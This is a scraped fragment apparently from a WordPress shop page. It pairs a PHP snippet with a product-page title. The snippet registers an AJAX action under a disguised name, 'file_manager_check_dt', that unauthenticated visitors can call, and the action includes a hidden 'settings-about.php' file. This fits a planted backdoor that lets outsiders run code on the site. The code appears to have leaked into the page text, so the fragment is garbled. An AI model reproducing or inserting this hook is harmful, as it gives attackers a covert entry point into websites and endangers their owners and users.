if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } Customize Products ? – 3B OF SLk